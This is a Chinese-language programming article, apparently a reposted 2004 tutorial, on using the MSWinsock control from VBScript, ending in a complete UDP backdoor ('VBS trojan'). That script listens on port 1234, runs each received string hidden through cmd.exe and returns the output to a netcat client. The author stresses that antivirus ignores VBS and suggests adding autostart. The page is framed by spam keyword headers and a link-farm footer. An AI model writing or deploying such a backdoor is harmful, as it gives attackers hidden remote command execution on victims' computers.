国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS+MSWinsock打造靈巧UDP后門的相關資料

2020-06-26 18:04:26
字體:
供稿:網(wǎng)友
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯(lián)網(wǎng)上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網(wǎng)絡呢?如果它也能進行端口的連接,那就神奇了。從此之后,我就努力去找有關VBS的網(wǎng)絡類的資料,可惜找了好久,什么收獲也沒有,直到一個月前高考結(jié)束了,我才可以靜下來搞這個東西,并終于有了一點進展。 
現(xiàn)在分析一下VBS的運作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向?qū)ο蟮哪_本語言,所以它的語法與Visual Basic差不多,而且也是靠Object來實現(xiàn)它的其它高級功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運行就行了,所以這也是VBS腳本做黑客工具方面的特長之一:普通殺毒軟件不會對VBS感興趣。因為VBS是一種面向?qū)ο蟮哪_本語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創(chuàng)建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網(wǎng)絡程序的朋友也知道,用VB寫網(wǎng)絡程序大致有兩種:一是調(diào)用Windows的API函數(shù),二是用VB自帶的Winsock控件,也就是在Windows系統(tǒng)目錄中見到的“MSWinsock.ocx”。由于前者的API函數(shù)比較復雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個Winsock控件,其實它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網(wǎng)絡服務的方便途徑,為編寫客戶或服務器應用程序,不必了解TCP的細節(jié)或調(diào)用低級的Winsock APIs。通過設置控件的屬性并調(diào)用其方法就可輕易連接到一臺遠程機器上去,并且還可雙向交換數(shù)據(jù)。既然找到了訪問網(wǎng)絡的引擎,那如何來用呢?用法又是不和VB中那樣用呢? 
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當然是先創(chuàng)建它的對象。創(chuàng)建方法就像創(chuàng)建FSO等對像。新建一個文本文件,在里面寫入: 
-------------------------------------------------- 
Set Sock=CreateObject("MSWinsock.Winsock") 
Sock.AboutBox 
-------------------------------------------------- 
保存為*.vbs運行它,就可以看到注冊在你系統(tǒng)中的WinSock控件的有關信息。 
怎能么樣?開心吧,別急,我下面會詳細講講。既然對象創(chuàng)建成功了,當然是要像VB中那樣用它了。在VBS中創(chuàng)建的WinScok不能像VB中那樣圖形介面那樣設置參數(shù)就行,是應該一步一個腳印來設置好你所創(chuàng)的是什么協(xié)議。在WinSock控件中要設置的協(xié)議是通過“Protocol”來設定的,如sock.Protocol=0 或 sock.Protocol=1。注意當“Protocol”的值為“0”時,所創(chuàng)建的協(xié)議是TCP;值為“1”時,則創(chuàng)建的是UDP。 
我先介紹一下有關WinSock控件引用的基本方法和事件吧: 
LocalHostName //取得本地主機名 
LocalIP //取得本地主機IP 
SocketHandle //取得創(chuàng)建SOCK的句柄 
RemotePort //設置或取得遠程端口 
LocalPort //設置或取得本地端口 
State //返回創(chuàng)建sock的對像狀態(tài)(代嗎如下){ 
0 缺省的。關閉  
1 打開  
2 偵聽  
3 連接掛起  
4 識別主機  
5 已識別主機  
6 正在連接  
7 已連接  
8 同級人員正在關閉連接  
9 錯誤 } 
BytesReceived //返回接收到的(當前在接收端緩沖區(qū)內(nèi)的)數(shù)據(jù)的數(shù)量 
Connect(RemoteHost,RemotePort) //建立遠程連接,RemoteHost遠程主機IP,RemotePort遠程主機端口 
Listen //使SOCK偵聽 
SendData/GetData //發(fā)送或接收數(shù)據(jù) 
Close //關閉對像 
Bind(LocalPort, LocalIP)//綁定本地端口。 
那些基本的東西我講完了,下面我測試一下遠程主機會話吧(UDP),下面是一個VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs): 
---------------------------------------- 
dim revdata 
dim sendata 
//創(chuàng)建Winsock對像 
set sock=createobject("MSWinsock.Winsock")  
//使用UDP協(xié)議 
//建立連接 
sock.Protocol=1sock.Connect "127.0.0.1",1234 
//定義要發(fā)送的數(shù)據(jù) 
sendata="Hello!!!"&chr(13)  
//發(fā)送我們要發(fā)的數(shù)據(jù) 
sock.senddata sendata  
do 
//如果有數(shù)據(jù)回應就顯示它 
if sock.BytesReceived>0 then  
//定義接收數(shù)據(jù)類型(數(shù)據(jù)類型有vbByte、vbInteger、vbLong、vbSingle 
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte) 
//也只有定義好要接收的數(shù)據(jù)類型才能收到數(shù)據(jù),不然會收到的是一堆亂碼; 
sock.getdata revdata,vbString; 
sendata=inputbox (revdata,"RecviedData","請輸入你要發(fā)的信息") 
sock.senddata senddata & chr(13) 
//當收到含有"exit"字串時結(jié)束VBS進程 
if instr(revdata,"exit") then exit do 
else 
end if 
loop 
//關閉對像套接 
sock.close 
------------------------------------------ 
然后用“nc -u -l -p 1234”監(jiān)聽本地UDP端口1234,再運行剛編寫的VBS文件,看!我的NC有反應了。 
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進程了。在NC里我們還可以發(fā)信息、聊天,怎么樣?一個簡單的UDP C/S已經(jīng)完成了。下面我再寫一個關于它的利用吧,既然它能訪問網(wǎng)絡,當然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go! 
-------------------------- 
Dim revdata 
set sock=createobject("MSWinsock.Winsock") 
set sc=createobject("WScript.Shell") 
Set fso =CreateObject("Scripting.FileSystemObject") 

sock.Protocol=1 //這個當然是UDP協(xié)議的標識啦 
sock.bind 1234 //綁定本地的UDP端口 

Do 
if sock.BytesReceived>0 then 
sock.getdata revdata,vbString 
if instr(revdata,"exit")>0 then 
exit do 
else 
on error resume next 
tempfile="C:/" & fso.GetTempName 
'cmd=right(revdata,len(revdata)-4) 
cmd=left(revdata,len(revdata)-3) 
//利用綁定cmd的輸出 
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True) 
Set txf = fso.OpenTextFile(tempfile,1,false,0) 
//把輸出的文件讀入內(nèi)存,用SendData發(fā)送到客戶端 
sock.senddata txf.readall & vbcrlf & vbcrlf 
txf.close 
call fso.DeleteFile(TempFile,True) 
end if 
//嘻嘻,下面是我的版權喔 
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf 
end if 
Loop 
sock.senddata "連接已關閉!" & vbcrlf 
sock.close 
sock=nothings 
------------------- 
到此,代碼的基本架構已經(jīng)完成了,要想做一個全能的木馬可以在代碼里加上諸如開機自動運行等。由于VBS程序沒有設置出錯保護,可能一些錯誤的操作會出現(xiàn)程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS后門運行在服務端,之后就用你的NC連,因為用的是UDP協(xié)議,NC的命令行是“NC –u IP Port”,記得要加上那個“-u”參數(shù)啊,之后就像WinShell一樣用就行了,下面是在我的機器里測試的截圖。 


至于TCP如何編寫,道理也跟UDP差不多,我這里就不再多寫了,大家可以自己研究下。 
如果有什么好的方法還可以和我一同研究。謝謝觀賞。 
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 方城县| 陵川县| 柯坪县| 奉新县| 永川市| 保山市| 涟水县| 商都县| 长白| 延吉市| 陇川县| 武宁县| 金寨县| 茌平县| 连江县| 三江| 都匀市| 稻城县| 冕宁县| 宁海县| 都匀市| 义乌市| 汉沽区| 郸城县| 庆安县| 通江县| 龙门县| 芒康县| 怀柔区| 万年县| 乌拉特前旗| 永康市| 霍山县| 瓦房店市| 疏勒县| 襄城县| 嘉峪关市| 六枝特区| 油尖旺区| 共和县| 丹东市|